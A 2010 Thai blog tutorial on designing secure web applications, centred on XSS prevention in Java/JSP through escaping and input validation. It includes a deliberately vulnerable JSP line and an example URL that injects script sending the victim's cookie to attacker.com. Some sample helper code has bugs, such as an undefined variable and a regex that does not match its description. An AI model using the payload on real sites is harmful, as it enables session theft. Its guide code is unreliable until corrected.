go to http://oracle.in.th

Wednesday, May 5, 2010

Security-driven design #1 - XSS

    เมื่อได้รับมอบหมายงานมาชิ้นหนึ่งเรามักมองแต่ภาพว่าทำอย่างไรให้งานมันออกมาให้ได้จะใช้เทคโนโลยีอะไร? จะใช้เทคนิคไหน? แต่สิ่งที่มักมองข้ามไปคือทำอย่างไรให้งานมันออกมาปลอดภัยต่อผู้ใช้ด้วย เพื่อลดผลกระทบที่จะตามมา ระดับความรุนแรงของผลที่เกิดขึ้นทั้งหมดขึ้นอยู่กับ business logic ที่ผลกระทบวิ่งไปถึง โดยการวิเคราะห์ให้คะแนนความเสี่ยงศึกษาได้จาก http://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology
    การมองเรื่องความปลอดภัยของ Web application เป็นเรื่องที่สำคัญ ในมุมนักพัฒนาคงไม่อาจบอกได้ว่ามันมี best pratice ที่จะจัดการทุกประเด็นที่เป็นจุดเสี่ยงจึงอาจบอกได้ว่า no silver bullet แต่ที่จะทำคือพยายามลดจุดอ่อนออกไปให้เหลือน้อยที่สุด และมันคงไม่สามารถทำให้สำเร็จได้ด้วยการให้ความสำคัญเพียงแต่การ coding เพราะถึงมี best pratice ดีแค่ไหนแต่มันก็เป็นเพียงการแก้ไขที่ปลายเหตุ เราควรมองและให้ความสำคัญมันตั้งแต่เริ่มต้นโปรเจค และใส่มันให้เป็นหนึ่งสิ่งที่จะต้องทำให้สำเร็จให้ได้ 
    ถ้าเราให้ความสำคัญกับความปลอดภัยและขับเคลื่อนมันไปตั้งแต่เริ่มโปรเจคก็จะเป็นไปตามภาพดังนี้ (ภาพนี้ไม่ได้ตายตัว ยืดหยุ่นได้ตามสภาพแวดล้อมการทำงาน)
  • Requirement
    • Regulations
    • Industry best practices
    • Business requirement
  • Architecture & Design
    • Architecture Blueprint
      • Application components
      • Entry / Exit points
      • External interface
      • Data flow
    • Threat Modeling
  • Implementation
    • Secure coding practices
  • Testing & Deployment
    • Penetration testing 
    • Security assessment
    • Secure coding practices also involve in the testing stage
  • Operation & Maintenance
    • Security monitoring
    • Recurring assessment
ในปีที่ผ่านมาจุดอ่อนที่มักถูกโจมตีดังนี้ 
  • Injection
  • Cross-Site Scripting (XSS)
  • Broken Authentication and Session Management
  • Insecure Direct Object References
  • Cross-Site Request Forgery (CSRF)
  • Security Misconfiguration
  • Failure to Restrict URL Access
  • Invalidated Redirects and Forwards
  • Insecure Crytographic Storage
  • Insufficient Transport Layer protection
แต่ผมจะพูดถึงจุดอ่อนที่พบกันมากที่สุด

Cross-Site Scripting
เป็นจุดอ่อนที่ส่งผลกระทบต่อผู้ใช้ web application เป็นจุดอ่อนที่เกิดขึ้นจากความไม่รอบคอบในขั้นตอนการ implement ส่งผลให้ผู้ไม่หวังดีสามารถ execute script บน browser ในฝั่งของผู้ใช้ได้ โดย script ดังนี้กล่าวจะถูกฉีคเข้ามาเพื่อไป execute บน browser ฝั่งผู้ใช้
XSS แบ่งได้เป็น 2 ประเภทตามวิธีที่ script ถูกส่งไปให้เหยื่อ
  • Persistent XSS ผู้ไม่ประสงค์ดีสามารถส่ง script เข้าไปใน persistent storage เช่น database, file เมื่อผู้ใช้เข้าหน้าเวบที่ดึงข้อมูลใน persistent storage ดังกล่าวมาแสดง browser ก็จะ execute script นั้นโดยอัตโนมัติ
  • Non-perssitent XSS คือ script ที่เป็นอันตรายไม่ได้ถูกเก็บลงใน web page หรือใน database ผู้โจมตีฉีค script เหล่านี้เข้ามาผ่นทาง URL ได้แล้ว execute script บน browser ของผู้ใช้ทั่วไปได้
ระดับความรุนแรงจะขึ้นอยู่กับ script ที่ผู้โจมตีเขียนขึ้นมาแต่โดยทั่วไปจะถูกกระทำดังนี้
  • ขโมยข้อมูลส่วนตัว เช่น sessionID (cookie) หรือ browser history
  • Redirect ไปยัง website ที่ผู้โจมตีเขียนขึ้นมารอไว้
  • Compromise the operating system หรือ cause the Denial-of-Service (DoS)
  • ใช้ browser ของเหยื่อเป็น backdoor เพื่อเข้าไปโจมตีเครื่องอื่นต่อไป
ตัวอย่าง code ที่มีช่องโหว่
<%
  out.write("Message: " + request.getParameter("msg"));
%>
แล้วผู้ไม่หวังดีก็ใช้ url ลักษณะนี้เพื่อส่ง javascript เข้ามาทาง parameter
http://www.xxx.com/admin/message.jsp?msg=blah<script>document.location='http://www.attacker.com/cookie.cgi?'%20%2Bdocument.cookie</script>
แนวทางการป้องกัน
สามารถป้องกันได้สองวิธีคือ
  1. Output escaping strategy
  2. Input Validation strategy
Note:
Escaping เป็นเทคนิคที่ใช้เพื่อให้แน่ใจว่าข้อมูลผ่านการตรวจสอบแล้ว ไม่ใช่ข้อมูลที่ถูกนำไป interpreter ต่อได้ ซึ่งมีหลายเทคนิค (บางครั้งเราเรียกว่า endoding) โดยมีจุดประสงค์ที่แท้จริงคือเพื่อให้แน่ใจว่าข้อมูลที่ไม่ถูกต้องจะไม่สามารถถูกส่งเข้ามาเพื่อโจมตีได้ 
ตารางข้างล่างเป็นตัวอย่างของตัวอักษรที่ควรจะถูกขัดขวาง
CharacterHTML Named EntityHTML Hexadecimal Entity
&&amp;&#x26;
<&lt;&#x3c;
>&gt;&#x3e;
"&quot;&#x22;
'N/A (&apos; is not recommended)&#x27;
/&sol;&#x2f;
การ escape มีสองวิธีคือ
  • html named entity เป็นตัวอักษรที่สอดคล้องกับชื่อ ที่ซึ่งได้กำหนดไว้ในมาตรฐาน HTML 4 ในรูปแบบ &name;
  • html hexadecimal entity เป็นตัวอักษรที่แสดงเป็นเลขฐาน 16 ในรูปแบบ &#xHHHH;

Output escaping strategy
script ที่เป็นอันตรามักจะถูกฉีคเข้ามายังจุดที่อ่อนแอที่สุดในหน้าเว็บนั้น ซึ่งมันจะมีแตกต่างกันไปตามแต่ละส่วนของ html page ซึ่งจุดดังกล่าวได้แก่
  • html element content
    • จุดอ่อนแอที่อยู่ในส่วนของ HTML body ทั้งหมดเช่น <body>, <div>, <td> ...
  • html common attribute
    • เช่น <div attr=... ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE ...></div>
  • html javascript data value
    • เช่น <script> alert(' ... ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE ... ') </script>
  • html style property value
    • เช่น <style> selector{ property: ... ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE ...} </style>
  • html url parameter value
    • เช่น <a href="http://www.xxx.com?test=... ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE ..."></a>
ตัวอย่าง escape function
<html>
<body>
<%
  String username = request.getParameter("name");
  out.write("Hello, " + htmlEntityEncode(username));
%>
</body>
</html>
Guideline function input escape
public static String htmlEntityEncode( String s ){
       StringBuilder buf = new StringBuilder(s.length());
       for ( int i = 0; i < len; i++ ){
           char c = s.charAt( i );
           if ( c>='a' && c<='z' || c>='A' && c<='Z' || c>='0' && c<='9' ) {
               buf.append( c );
           }
           else {
               buf.append("&#").append((int)c).append(";");
           }
       }
       return buf.toString();
}
ลองดูแบบอื่นๆ ได้ที่ http://www.owasp.org/index.php/How_to_perform_HTML_entity_encoding_in_Java
หรือตัวอย่างการสร้าง HttpServletRequestWrapper ขึ้นมาเอง  http://www.owasp.org/index.php/How_to_add_validation_logic_to_HttpServletRequest
API อื่นๆ
ตัวอย่างการใช้งาน ESAPI
String safe = ESAPI.encoder().encodeForHTML(request.getParameter("input"));
นอกจากนี้ยังมีอีกวิธีที่ช่วยลดจุดอ่อนลงได้คือการใช้ HTTPOnly cookie flag http://phamonyut.blogspot.com/2010/05/cookie-httponly-flag.html

Input Validation strategy
เป็นการ filter ข้อมูลที่รับเข้ามาจากผู้ใช้งาน ซึ่งการร้บข้อมูลแต่ละจุดจะมีการกำหนดว่ากรอกได้ตาม format อะไรบ้างตาม white-list ที่ออกแบบไว้ และก็มี blacklist ที่บอกว่าข้อมูลแบบไหนที่ไม่ควรนำเข้าระบบ แต่มันก็ไม่ได้ออกแบบไว้ให้เราทั้งหมด ดังนั้นจำเป็นต้องออกแบบเพิ่มเติมกันเองด้วย
กลุ่มข้อมูล input ที่จะเกี่ยวข้องกับ business logic
Field NameData TypeLengthSpecific Requirement
firstnameString1-20a-z, A-Z
lastnameString1-40a-z, A-Z
emailString8-50a-z, A-Z, 0-9, ., @
usernameString6-10a-z, A-Z, 0-9
passwordString8-30a-z, A-Z, 0-9, !, @, #, $
zipInteger50-9
notifyString2-3'Yes', 'No'
guideline function validate firstname ที่ใช้ regex
public boolean validateFirstname() {
boolean allOk = true;
if ("".equals(firstname)) {
  error.put("firstname", "please enter your firstname");
  firstname = "";
  allOk = false;
} else {
  Pattern p = Pattern.compile("^[\da-zA-Z]{1,20}$");
  Matcher m = p.matcher(firstname);
  if (!m.matchers()) {
    errros.put("firstname", "firstname must contains character A-Z, a-z and has length between 1 to 20 only");
    firstname = "";
    allOk = false;
  }
}
return allOk;
}

Credit by Phamonyut
ข้อเขียนนี้ช่วยฉัน:  

No comments:

Post a Comment